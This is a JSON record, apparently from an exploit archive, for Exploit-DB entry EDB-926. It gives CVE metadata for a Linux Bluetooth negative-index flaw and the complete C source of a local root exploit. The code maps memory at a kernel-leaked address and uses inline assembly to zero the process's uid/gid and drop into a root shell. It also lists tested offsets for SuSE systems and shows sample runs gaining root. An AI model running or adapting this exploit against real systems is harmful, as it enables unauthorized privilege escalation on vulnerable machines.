{"exploit":{"id":"EDB-926","name":"Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Privilege Escalation","description":"Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Privilege Escalation","cves":["CVE-2005-1294","CVE-2005-0750"],"author":"qobaiashi","published":"2005-10-26","platform":"linux","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/926","path":"exploits/linux/local/926.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-926.c","vulnerabilities":[{"id":"CVE-2005-1294","state":"PUBLISHED","title":null,"titleSource":null,"description":"The affix_sock_register in the Affix Bluetooth Protocol Stack for Linux might allow local users to gain privileges via a socket call with a negative protocol value, which is used as an array index.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-1294","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-1294"},"updatedAt":"2024-08-07T21:44:06.119Z","retrievedAt":"2026-11-27T01:07:53.459Z","stale":false,"error":null},{"id":"CVE-2005-0750","state":"PUBLISHED","title":null,"titleSource":null,"description":"The bluez_sock_create function in the Bluetooth stack for Linux kernel 2.4.6 through 2.4.30-rc1 and 2.6 through 2.6.11.5 allows local users to gain privileges via (1) socket or (2) socketpair call with a negative protocol value.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-0750","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-0750"},"updatedAt":"2024-08-07T21:21:06.748Z","retrievedAt":"2026-11-27T01:23:44.040Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-926.png?v=2","url":"https://exploitbin.com/exploits/EDB-926","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-926/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-926/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n\nDue to many responses i've improved the exploit\nto cover more systems!\n\n\n  ONG_BAK v0.9   [october 24th 05]\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\no universal \"shellcode\" added\no try to use all possible memory regions\no bugfixes\n\nqobaiashi@voyager:~/w00nf/kernelsploit> ./ong_bak -100222\n-|-bluez local root exploit v.0.9  -by qobaiashi-\n |\n |- i've found kernel 2.6.11.4-20a-default\n |- trampoline is at 0x804869c\n |- trying...\n |- [ecx: bf8d0000 ]\n |- suitable value found!using 0xbf8d0000\n |- the time has come to push the button...\nsh-3.00# exit\n\n\n\n\n\n\n  ONG_BAK v0.3   [april 8th 05]\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\nong_bak now checks the value of ecx and launches\nthe exploit in case a suitable value has been found!\n\n\n\n  ONG_BAK v0.1   [april 4th 05]\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\nlocal root exploit for the bluetooth bug\n\nusage:\n\nthe bug is quite stable so you can't realy fuck things up\nif you stick to the following:\n\nplay around with the negative argument until ecx points to\nour data segment:\n\n\nqobaiashi@voyager:~> ./ong_bak -1002341\n-|-local bluez exploit v.0.3  -by qobaiashi-\n |\n |- i've found kernel 2.6.4-52-default\n |- trying...\n |- [ecx: 0b8f0f0f ]\nqobaiashi@voyager:~> ./ong_bak -10023411\n-|-local bluez exploit v.0.3  -by qobaiashi-\n |\n |- i've found kernel 2.6.4-52-default\n |- trying...\n |- [ecx: 0809da40 ]\n |- suitable value found!using 0x0809da40\n |- the time has come to push the button..\nqobaiashi@voyager:~> id\nuid=0(root) gid=0(root) Gruppen=14(uucp),16(dialout),17(audio),33(video),100(users)\nqobaiashi@voyager:~>\n\n\n\nthat's it.\nunfortunately it's not yet very practicable..\n\nqobaiashi@u-n-f.com\n\n*/\n\n#include <sys/klog.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys/socket.h>\n#include <bluetooth/bluetooth.h>\n#include <bluetooth/hci.h>\n#include <bluetooth/hci_lib.h>\n#include <sys/utsname.h>\n#include <sys/mman.h>\n\n\nvoid usage(char *path);\n\n//===================[ kernel 2.6* privilege elevator ]===============================\n//===================[      qobaiashi@u-n-f.com       ]===============================\n//globals\nint uid, gid;\n\nextern load_highlevel;\n__asm__\n(\n\"load_highlevel:         \\n\"\n\"xor    %eax, %eax       \\n\"\n\"mov    $0xffffe000, %eax\\n\"\n\"and    %esp,%eax        \\n\"\n\"pushl  %eax             \\n\"\n\"call   set_root         \\n\"\n\"pop    %eax             \\n\"\n//ret to userspace-2.6.* version\n\" cli                    \\n\"\n\" pushl $0x7b            \\n\"      //DS user selector\n\" pop   %ds              \\n\"\n\" pushl %ds              \\n\"      //SS\n\" pushl $0xc0000000      \\n\"      //ESP\n\" pushl $0x246           \\n\"      //EFLAGS\n\" pushl $0x73            \\n\"      //CS user selector\n\" pushl $shellcode       \\n\"      //EIP must not be a push /bin/sh shellcode!!\n\"iret                    \\n\"\n);\n\nvoid set_root(unsigned int *ts)\n{\nts = (int*)*ts;\nint cntr;\n//hope you guys are int aligned\nfor(cntr = 0; cntr <= 512; cntr++, ts++)\n    if( ts[0] == uid && ts[1] == uid && ts[4] == gid && ts[5] == gid)\n      ts[0] = ts[1] = ts[4] = ts[5] = 0;\n\n}\n\n\nvoid shellcode()\n{\nsystem(\"/bin/sh\");\nexit(0);\n}\n//====================================================================================\n//====================================================================================\n\n\n\n\n\nmain(int argc, char *argv[])\n{\nchar buf[2048];\nint sock, *mod = (int*)buf;\nint *linker = 0;\n\nunsigned int arg;\nint tmp;\nchar *check;\nstruct utsname vers;\n\ngid  = getgid();\nuid  = getuid();\n\nprintf(\"-|-bluez local root exploit v.0.9  -by qobaiashi-\\n |\\n\");\nif (uname(&vers) < 0)\n   printf(\" |- couldn't determine kernel version\\n\");\n\nelse\n    printf(\" |- i've found kernel %s\\n\", vers.release);\n\n\nprintf(\" |- trampoline is at %p\\n\", &load_highlevel);\n\n\nif (argc < 2)\n   {\n    usage(argv[0]);\n    exit(1);\n    }\n\nif (argc == 2)\n    arg = strtoul(argv[1], 0, 0);\n\n\nif (fork() != 0)//parent watch the Oops\n   {\n    //previous Oops printing\n   usleep(1000);\n   if ((tmp = klogctl(0x3, buf, 1700)) > -1)\n       {\n        check = strstr(buf, \"ecx: \");\n        printf(\" |- [%0.14s]\\n\", check);\n        check+=5;\n        *(check+9) = 0x00;*(--check) = 'x';*(--check) = '0';\n        mod = (unsigned int*)strtoul(check, 0, 0);\n        //page align FIXME: might be booggy\n        int *ecx = mod;\n        mod = (int)mod &~ 0x00000fff;\n        linker =\nmmap((void*)mod,0x2000,PROT_WRITE|PROT_READ,MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED,0,0);\n        if(linker == mod)//we could mmap the area\n          {\n           printf(\" |- suitable value found!using %p\\n\", mod);\n           printf(\" |- the time has come to push the button... \\n\");\n           for (sock = 0;sock <= 1;sock++)          //use ecx\n                *(ecx++) = (int)&load_highlevel;   //link to shellcode\n           }\n\n           else\n             {\n              printf(\" |- could not mmap   %p\\n\", mod);\n              if( brk((void*)mod+0x200 ) == -1)\n                {\n                 printf(\" |- could not brk to %p\\n\", mod);\n                 printf(\" `-------------------------------\\n\");\n                 exit(-1);\n                 }\n              //here we did it\n              printf(\" |- suitable value found!using %p\\n\", mod);\n              printf(\" |- the time has come to push the button... \\n\");\n              for (sock = 0;sock <= 1;sock++)          //use ecx\n                  *(ecx++) = (int)&load_highlevel;    //link to shellcode\n\n              }\n           if ((sock = socket(AF_BLUETOOTH, SOCK_RAW, arg)) < 0)\n               exit(1);\n\n        }\n   return 0;\n   }\n\nif (fork() == 0)//child does the pre-exploit\n{\n  printf(\" |- trying...\\n\");\n  if ((sock = socket(AF_BLUETOOTH, SOCK_RAW, arg)) < 0)\n      {\n      printf(\" |- something went w0rng (invalid value)\\n\");\n      exit(1);\n     }\n}\n\nexit(0);\n}\n\n\n\n/*****************\\\n|**    usage    **|\n\\*****************/\nvoid usage(char *path)\n{\nprintf(\" |----------------------------\\n\");\nprintf(\" | usage: %s <negative value> \\n\", path);\nprintf(\" | tested:\\n\");\nprintf(\" | SuSE 9.1:      -10023411  \\n\");\nprintf(\" |                -41122122 \\n\");\nprintf(\" | Kernel 2.6.11: -10023 \\n\");\nprintf(\" | SuSE 9.3:      -100222\\n\");\nprintf(\" |                -102901\\n\");\nprintf(\" `-----------------------\\n\");\nexit(0);\n}\n\n// 1st post: milw0rm.com [2005-04-09]\n\n// milw0rm.com [2005-10-26]","sha256":"c857b09df99c5e43b49c12029e77cf7e400a33514ced4484a4cb96bc7d0c3356","bytes":6250,"fetchedAt":"2026-11-27T01:07:51.732Z","encoding":"utf-8 (display only; download retains original bytes)"}